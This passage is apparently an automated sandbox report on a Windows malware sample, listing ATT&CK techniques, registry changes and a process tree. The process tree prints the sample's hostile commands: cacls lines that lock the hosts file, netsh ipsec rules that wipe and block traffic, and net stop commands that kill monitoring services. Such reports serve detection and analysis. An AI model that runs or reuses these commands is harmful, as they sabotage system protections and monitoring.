Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

cmd.exeschtasks.execmd.exenet.exeschtasks.exesc.exenet.exenetsh.execmd.exenet.exenet1.exenet1.exenet1.exenet.exeumueiy.exenet1.execmd.exeschtasks.exenetsh.execmd.exenetsh.exe3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643eN.execacls.execacls.exenet1.exenet.execmd.exenetsh.exexohudmc.exenetsh.execmd.exegaettyt.exegaettyt.exenet1.exenetsh.exenetsh.execmd.exenet1.execmd.exewpcap.exenetsh.exenetsh.exenetsh.execmd.execmd.execmd.exesc.exenet1.exesc.execmd.exenetsh.execmd.execmd.exenetsh.exenetsh.exenet1.exePING.EXEnet1.exenet.execmd.execmd.execmd.exelutllwily.exenetsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	umueiy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643eN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gaettyt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gaettyt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lutllwily.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

cmd.exePING.EXE

pid process

3432 cmd.exe
4220 PING.EXE

pid	process
3432	cmd.exe
4220	PING.EXE

NSIS installer 3 IoCs

installer

Processes:

resource	yara_rule
C:\Windows\qpkiztfb\gaettyt.exe	nsis_installer_2
C:\Windows\utbcclcbi\kgwtlrdzw\wpcap.exe	nsis_installer_1
C:\Windows\utbcclcbi\kgwtlrdzw\wpcap.exe	nsis_installer_2

Modifies data under HKEY_USERS 43 IoCs

Processes:

spitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exegaettyt.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	spitymcii.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	spitymcii.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	spitymcii.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	spitymcii.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	spitymcii.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	spitymcii.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	gaettyt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	spitymcii.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	spitymcii.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	spitymcii.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	gaettyt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	spitymcii.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	spitymcii.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	spitymcii.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	spitymcii.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	spitymcii.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	spitymcii.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	spitymcii.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	spitymcii.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	spitymcii.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	spitymcii.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	spitymcii.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	spitymcii.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	spitymcii.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	spitymcii.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	spitymcii.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	spitymcii.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	spitymcii.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	gaettyt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	spitymcii.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	spitymcii.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	spitymcii.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	spitymcii.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	spitymcii.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	spitymcii.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	gaettyt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	spitymcii.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	spitymcii.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	spitymcii.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	spitymcii.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	gaettyt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	gaettyt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	spitymcii.exe

Modifies registry class 14 IoCs

Processes:

gaettyt.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	gaettyt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	gaettyt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	gaettyt.exe

Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4220 PING.EXE
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

4524 schtasks.exe
1624 schtasks.exe
380 schtasks.exe

pid	process
4220	PING.EXE

pid	process
4524	schtasks.exe
1624	schtasks.exe
380	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

gaettyt.exe

pid	process
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe

Suspicious behavior: LoadsDriver 15 IoCs

Processes:

pid process

652
652
652
652
652
652
652
652
652
652
652
652
652
652
652
Suspicious behavior: RenamesItself 1 IoCs

Processes:

3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643eN.exe

pid process

456 3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643eN.exe

pid	process
652
652
652
652
652
652
652
652
652
652
652
652
652
652
652

Suspicious use of AdjustPrivilegeToken 23 IoCs

Processes:

3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643eN.exegaettyt.exegaettyt.exevfshost.exespitymcii.execeuhqk.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exespitymcii.exe

description	pid	process
Token: SeDebugPrivilege	456	3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643eN.exe
Token: SeDebugPrivilege	1704	gaettyt.exe
Token: SeDebugPrivilege	2664	gaettyt.exe
Token: SeDebugPrivilege	1088	vfshost.exe
Token: SeDebugPrivilege	1308	spitymcii.exe
Token: SeLockMemoryPrivilege	1756	ceuhqk.exe
Token: SeLockMemoryPrivilege	1756	ceuhqk.exe
Token: SeDebugPrivilege	4712	spitymcii.exe
Token: SeDebugPrivilege	4952	spitymcii.exe
Token: SeDebugPrivilege	312	spitymcii.exe
Token: SeDebugPrivilege	4428	spitymcii.exe
Token: SeDebugPrivilege	1700	spitymcii.exe
Token: SeDebugPrivilege	4308	spitymcii.exe
Token: SeDebugPrivilege	2640	spitymcii.exe
Token: SeDebugPrivilege	3892	spitymcii.exe
Token: SeDebugPrivilege	4788	spitymcii.exe
Token: SeDebugPrivilege	2504	spitymcii.exe
Token: SeDebugPrivilege	5100	spitymcii.exe
Token: SeDebugPrivilege	1444	spitymcii.exe
Token: SeDebugPrivilege	1500	spitymcii.exe
Token: SeDebugPrivilege	3424	spitymcii.exe
Token: SeDebugPrivilege	2200	spitymcii.exe
Token: SeDebugPrivilege	3948	spitymcii.exe

Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643eN.exegaettyt.exegaettyt.exexohudmc.exeumueiy.exegaettyt.exe

pid	process
456	3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643eN.exe
456	3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643eN.exe
1704	gaettyt.exe
1704	gaettyt.exe
2664	gaettyt.exe
2664	gaettyt.exe
4612	xohudmc.exe
4320	umueiy.exe
2796	gaettyt.exe
2796	gaettyt.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643eN.execmd.exegaettyt.execmd.execmd.exewpcap.exenet.exenet.exenet.exe

description	pid	process	target process
PID 456 wrote to memory of 3432	456	3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643eN.exe	cmd.exe
PID 456 wrote to memory of 3432	456	3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643eN.exe	cmd.exe
PID 456 wrote to memory of 3432	456	3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643eN.exe	cmd.exe
PID 3432 wrote to memory of 4220	3432	cmd.exe	PING.EXE
PID 3432 wrote to memory of 4220	3432	cmd.exe	PING.EXE
PID 3432 wrote to memory of 4220	3432	cmd.exe	PING.EXE
PID 3432 wrote to memory of 1704	3432	cmd.exe	gaettyt.exe
PID 3432 wrote to memory of 1704	3432	cmd.exe	gaettyt.exe
PID 3432 wrote to memory of 1704	3432	cmd.exe	gaettyt.exe
PID 2664 wrote to memory of 2132	2664	gaettyt.exe	cmd.exe
PID 2664 wrote to memory of 2132	2664	gaettyt.exe	cmd.exe
PID 2664 wrote to memory of 2132	2664	gaettyt.exe	cmd.exe
PID 2132 wrote to memory of 2856	2132	cmd.exe	cmd.exe
PID 2132 wrote to memory of 2856	2132	cmd.exe	cmd.exe
PID 2132 wrote to memory of 2856	2132	cmd.exe	cmd.exe
PID 2132 wrote to memory of 532	2132	cmd.exe	cacls.exe
PID 2132 wrote to memory of 532	2132	cmd.exe	cacls.exe
PID 2132 wrote to memory of 532	2132	cmd.exe	cacls.exe
PID 2132 wrote to memory of 2948	2132	cmd.exe	cmd.exe
PID 2132 wrote to memory of 2948	2132	cmd.exe	cmd.exe
PID 2132 wrote to memory of 2948	2132	cmd.exe	cmd.exe
PID 2132 wrote to memory of 3984	2132	cmd.exe	cacls.exe
PID 2132 wrote to memory of 3984	2132	cmd.exe	cacls.exe
PID 2132 wrote to memory of 3984	2132	cmd.exe	cacls.exe
PID 2132 wrote to memory of 384	2132	cmd.exe	cmd.exe
PID 2132 wrote to memory of 384	2132	cmd.exe	cmd.exe
PID 2132 wrote to memory of 384	2132	cmd.exe	cmd.exe
PID 2132 wrote to memory of 3172	2132	cmd.exe	cacls.exe
PID 2132 wrote to memory of 3172	2132	cmd.exe	cacls.exe
PID 2132 wrote to memory of 3172	2132	cmd.exe	cacls.exe
PID 2664 wrote to memory of 4736	2664	gaettyt.exe	netsh.exe
PID 2664 wrote to memory of 4736	2664	gaettyt.exe	netsh.exe
PID 2664 wrote to memory of 4736	2664	gaettyt.exe	netsh.exe
PID 2664 wrote to memory of 908	2664	gaettyt.exe	netsh.exe
PID 2664 wrote to memory of 908	2664	gaettyt.exe	netsh.exe
PID 2664 wrote to memory of 908	2664	gaettyt.exe	netsh.exe
PID 2664 wrote to memory of 4924	2664	gaettyt.exe	netsh.exe
PID 2664 wrote to memory of 4924	2664	gaettyt.exe	netsh.exe
PID 2664 wrote to memory of 4924	2664	gaettyt.exe	netsh.exe
PID 2664 wrote to memory of 1716	2664	gaettyt.exe	cmd.exe
PID 2664 wrote to memory of 1716	2664	gaettyt.exe	cmd.exe
PID 2664 wrote to memory of 1716	2664	gaettyt.exe	cmd.exe
PID 1716 wrote to memory of 1452	1716	cmd.exe	wpcap.exe
PID 1716 wrote to memory of 1452	1716	cmd.exe	wpcap.exe
PID 1716 wrote to memory of 1452	1716	cmd.exe	wpcap.exe
PID 1452 wrote to memory of 1984	1452	wpcap.exe	net.exe
PID 1452 wrote to memory of 1984	1452	wpcap.exe	net.exe
PID 1452 wrote to memory of 1984	1452	wpcap.exe	net.exe
PID 1984 wrote to memory of 3040	1984	net.exe	net1.exe
PID 1984 wrote to memory of 3040	1984	net.exe	net1.exe
PID 1984 wrote to memory of 3040	1984	net.exe	net1.exe
PID 1452 wrote to memory of 3436	1452	wpcap.exe	net.exe
PID 1452 wrote to memory of 3436	1452	wpcap.exe	net.exe
PID 1452 wrote to memory of 3436	1452	wpcap.exe	net.exe
PID 3436 wrote to memory of 428	3436	net.exe	net1.exe
PID 3436 wrote to memory of 428	3436	net.exe	net1.exe
PID 3436 wrote to memory of 428	3436	net.exe	net1.exe
PID 1452 wrote to memory of 3928	1452	wpcap.exe	net.exe
PID 1452 wrote to memory of 3928	1452	wpcap.exe	net.exe
PID 1452 wrote to memory of 3928	1452	wpcap.exe	net.exe
PID 3928 wrote to memory of 3440	3928	net.exe	net1.exe
PID 3928 wrote to memory of 3440	3928	net.exe	net1.exe
PID 3928 wrote to memory of 3440	3928	net.exe	net1.exe
PID 1452 wrote to memory of 2124	1452	wpcap.exe	net.exe

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1004
- C:\Windows\TEMP\bgegeutip\ceuhqk.exe
  "C:\Windows\TEMP\bgegeutip\ceuhqk.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1756

C:\Users\Admin\AppData\Local\Temp\3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643eN.exe
"C:\Users\Admin\AppData\Local\Temp\3ed73cd4f3be4e71ca64e0bb201552f999724cb980a6b14a6507929dee01643eN.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:456
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\qpkiztfb\gaettyt.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3432
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4220
- - C:\Windows\qpkiztfb\gaettyt.exe
    C:\Windows\qpkiztfb\gaettyt.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1704

C:\Windows\qpkiztfb\gaettyt.exe
C:\Windows\qpkiztfb\gaettyt.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2664
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2856
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:532
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2948
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3984
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:384
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3172
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4736
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:908
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4924
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\utbcclcbi\kgwtlrdzw\wpcap.exe /S
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1716
- - C:\Windows\utbcclcbi\kgwtlrdzw\wpcap.exe
    C:\Windows\utbcclcbi\kgwtlrdzw\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1452
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1984
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3040
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3436
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:428
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      System Location Discovery: System Language Discovery
